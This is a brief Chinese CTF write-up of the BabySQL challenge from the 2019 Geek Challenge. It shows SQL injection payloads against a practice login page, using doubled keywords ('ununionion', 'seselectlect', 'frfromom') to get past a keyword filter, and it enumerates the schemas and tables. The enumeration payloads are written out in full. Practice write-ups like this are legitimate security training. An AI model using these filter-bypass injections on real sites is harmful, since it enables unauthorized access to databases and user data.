[极客大挑战 2019]BabySQL1

baby喔应该很简单吧，打开靶机、

尝试下admin

报错说明可以sql注入（虽然但是应该一般都可以的说）

常规注入

/check.php?username=admin&password=1' union select 1#

还是报错，可能是过滤了union和select，尝试了下双写绕过，还是报错，然后尝试%23编写

/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23

回显2和3。

爆数据库看看

/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

 

聪明人都知道先去看看ctf这个表吧，

/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

爆一下表

讷讷讷

爆数据

over.